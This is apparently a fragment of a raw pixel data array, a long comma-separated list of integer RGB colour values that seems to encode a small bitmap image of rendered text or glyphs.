,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,26294,16777142,6684672,0,0,0,6731519,16767963,14408630,6699578,3838171,16777179,9452032,58,3815994,9493503,16767963,11974246,3816038,11993087,14389306,0,0,0,0,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,58,9493503,16767888,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,6731519,16758374,0,0,58,9493503,16767888,6699578,0,0,0,0,0,0,58,3815994,3816080,14417883,9452032,0,0,102,11993087,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,102,11993087,11953664,14992,14417883,9452032,0,0,3838171,16758374,0,102,11993087,14389306,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,6731519,16758374,0,0,0,58,9493503,16767888,3801088,0,14992,14417883,9452032,0,58,9493503,16767888,3801088,0,3827302,6699520,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,6731519,16758374,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,102,11993087,11953664,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,102,11993087,11953664,0,0,26294,16777142,6684672,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,0,14992,14417883,9452032,0,0,0,102,11993087,14389306,0,0,26294,16777142,6684672,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,0,0,0,0,3816080,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,3816080,11993087,16758374,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,102,11993087,11953664,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,102,11993087,14389306,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,6731519,16758374,0,0,0,0,14992,14417883,9452032,0,102,11993087,14389306,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,6731519,16767926,6699578,3815994,3815994,0,102,11993087,16767926,9452090,3816038,11993087,16758374,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,58,9493467,11964474,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,58,9493467,11964474,0,0,0,102,11993087,16767926,9452090,3816038,11993087,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,0,58,9493467,11964474,0,0,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,102,11993087,16767926,9452090,3816038,11993087,16758374,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,0,58,9493467,11964474,0,0,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,102,11993087,11953664,0,0,0,0,26294,16777179,9452090,3827344,11983871,16767888,3801088,0,14906,3827382,16777142,9452090,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,11964518,11983871,16777215,16767926,6684672,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,102,11993087,14389350,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16758374,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,102,11993087,14389350,0,0,0,102,11993087,11964518,11983871,16777215,16767926,6684672,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,0,6731483,16777215,16777215,16758416,3801088,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11993087,14389350,0,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,58,6731483,16777215,16777215,16777215,11953664,0,102,11993087,11964518,11983871,16777215,16767926,6684672,0,0,0,0,6731483,16777215,16777215,16758416,3801088,0,0,102,11993087,14389350,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,3838171,16767888,3801088,0,0,0,0,3838171,16777215,16777215,16777179,11964518,3801088,0,102,11993087,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,14906,6710886,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,9493467,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,14992,14417919,11953664,6731519,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,6731519,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,3827382,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11993087,14389306,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,6731519,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,14992,14417919,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14417919,16777215,16767926,6684672,0,26294,16777142,6684672,6731519,14389306,102,11993087,11953664,0,58,6731483,14417919,16777215,16777215,16767888,3801088,0,0,14992,11983871,16777215,16777179,11953664,0,3838171,16777215,16777179,11953664,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16767888,3801088,58,9493503,16777215,14399078,0,26294,14408630,6684672,102,11993087,16777215,16777215,16777215,16777215,16767888,3801088,0,14992,14417883,9452032,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,3838171,16767888,6710966,14417919,16777215,14399078,0,3838171,16777215,16777179,11953664,3838171,16777215,16777179,9452032,0,0,3838134,14417919,16777215,16767926,6684672,0,26294,16777142,6684672,6731519,14389306,102,11993087,11953664,0,58,6731483,14417919,16777215,16777215,16767888,3801088,0,0,14992,11983871,16777215,16777179,11953664,0,3838171,16777215,16777179,11953664,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,3838171,14417919,16777215,16777215,14399078,0,0,0,58,6731483,14417919,16777215,16777215,16767888,3801088,0,14992,14417883,9452032,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,11953722,3816038,11993087,16758374,0,26294,16777142,6684672,6731519,14389306,102,11993087,11953664,0,6731519,16777142,9452090,3815994,3815994,3815994,0,0,26294,14417919,14389350,3815994,6731519,16767888,3801088,58,3815994,9493503,16767963,11974246,3816038,11993087,14389306,0,0,0,0,0,0,0,0,0,3815994,6731519,16758416,3815994,3815994,3815936,0,0,3815994,3816080,14417883,9463440,14417919,14389306,0,0,3815994,6731519,16758416,3815994,3815994,3815936,0,0,102,11993051,9452032,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,0,102,11993051,9452032,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,6731519,16767963,14408630,6699578,3838171,16777179,9452032,58,3815994,9493503,16767963,11974246,3816038,11993087,14389306,0,3838171,16777179,11953722,3816038,11993087,16758374,0,26294,16777142,6684672,6731519,14389306,102,11993087,11953664,0,6731519,16777142,9452090,3815994,3815994,3815994,0,0,26294,14417919,14389350,3815994,6731519,16767888,3801088,58,3815994,9493503,16767963,11974246,3816038,11993087,14389306,0,0,0,0,0,0,0,0,0,14950,6710842,3815994,6731483,16777142,6684672,0,0,6731519,16777142,9452090,3815994,3815994,3815994,0,0,102,11993051,9452032,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,3838171,16767888,3801088,14992,14417883,9452032,6731519,14389306,14992,14417883,9452032,0,6731519,16767926,6699578,0,0,0,0,58,9493503,14389306,0,58,6731519,16758374,0,0,58,9493503,16767888,3801088,0,3827302,6699520,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,58,9493503,16767888,3801088,0,14992,14417883,9452032,0,58,9493503,16767888,3801088,0,3827302,6699520,102,11993087,14389306,0,0,3838171,16767888,3801088,14992,14417883,9452032,6731519,14389306,14992,14417883,9452032,0,6731519,16767926,6699578,0,0,0,0,58,9493503,14389306,0,58,6731519,16758374,0,0,58,9493503,16767888,3801088,0,3827302,6699520,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,6731519,16767926,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,6731519,16767888,3801088,14992,14417883,9452032,6731519,14389306,3838171,16767888,3801088,0,58,9483995,16777215,16777215,14399078,3801088,0,102,11993087,14399158,11974363,14417919,16767926,6684672,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,102,11993087,14389306,0,0,26294,16777142,6684672,0,102,11993087,14389306,0,0,0,0,14992,14417883,9452032,0,0,6731519,16767888,3801088,14992,14417883,9452032,6731519,14389306,3838171,16767888,3801088,0,58,9483995,16777215,16777215,14399078,3801088,0,102,11993087,14399158,11974363,14417919,16767926,6684672,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,58,9483995,16777215,16777215,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,58,9493503,14389306,0,102,11993051,9452134,11974326,11974246,6731519,14389306,0,0,0,0,0,3827382,14417919,11953664,0,14992,14417919,14389350,6710886,3815936,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,102,11983871,16777215,11953664,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,14992,14417883,9452032,0,102,11993087,14389306,0,0,14992,14417883,9452032,0,0,0,0,14992,14417883,9452032,0,58,9493503,14389306,0,102,11993051,9452134,11974326,11974246,6731519,14389306,0,0,0,0,0,3827382,14417919,11953664,0,14992,14417919,14389350,6710886,3815936,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,3827382,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16758374,3815994,6731483,16777142,6684672,0,102,11993087,14408630,9452134,11983835,14417883,9452032,0,14950,6710886,6699578,3815994,3827382,14417919,11953664,0,102,11993087,16758374,3815994,3816038,9483920,6684672,0,14906,3827382,16777142,9452090,3801088,0,0,0,0,0,26256,14408630,6684672,0,0,0,0,14992,14417919,14389306,3815994,3827302,3801088,0,102,11983871,16758374,6731519,16758374,3815994,3815936,0,0,14992,14417919,14389306,3815994,3827302,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493467,11964474,0,0,0,0,0,58,9493467,11964474,0,0,0,0,0,58,9493467,11964474,0,0,0,0,102,11993087,11953664,0,0,0,0,26294,16777179,9452090,3827344,11983871,16767888,3801088,0,14906,3827382,16777142,9452090,3801088,0,0,0,102,11993087,16758374,3815994,6731483,16777142,6684672,0,102,11993087,14408630,9452134,11983835,14417883,9452032,0,14950,6710886,6699578,3815994,3827382,14417919,11953664,0,102,11993087,16758374,3815994,3816038,9483920,6684672,0,14906,3827382,16777142,9452090,3801088,0,0,0,0,0,26256,14408630,6684672,0,0,0,0,0,0,102,11993087,11953664,0,0,14950,6710886,6699578,3815994,3827382,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,14417919,16777215,16767926,9452032,0,0,58,9493503,16758374,102,11993087,14389306,0,0,3827382,14417919,16777215,16777215,16777179,11964474,0,0,0,14992,11983871,16777215,16777215,14399120,6699520,102,11993087,16777215,16777215,16777215,14389306,0,0,0,0,0,3827382,16777179,9452032,0,0,0,0,0,6721755,16777215,16777215,16767926,6699520,0,3838171,14399078,3801088,14992,14417919,16777215,14389306,0,0,0,6721755,16777215,16777215,16767926,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,102,11983871,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389350,0,0,0,0,0,102,11993087,14389350,0,0,0,0,0,102,11993087,14389350,0,0,0,0,3838171,16767888,3801088,0,0,0,0,3838171,16777215,16777215,16777179,11964518,3801088,0,102,11993087,16777215,16777215,16777215,14389306,0,0,0,0,3827382,14417919,16777215,16767926,9452032,0,0,58,9493503,16758374,102,11993087,14389306,0,0,3827382,14417919,16777215,16777215,16777179,11964474,0,0,0,14992,11983871,16777215,16777215,14399120,6699520,102,11993087,16777215,16777215,16777215,14389306,0,0,0,0,0,3827382,16777179,9452032,0,0,0,0,0,0,14992,14417883,9452032,0,0,3827382,14417919,16777215,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3827302,9483995,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14408667,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0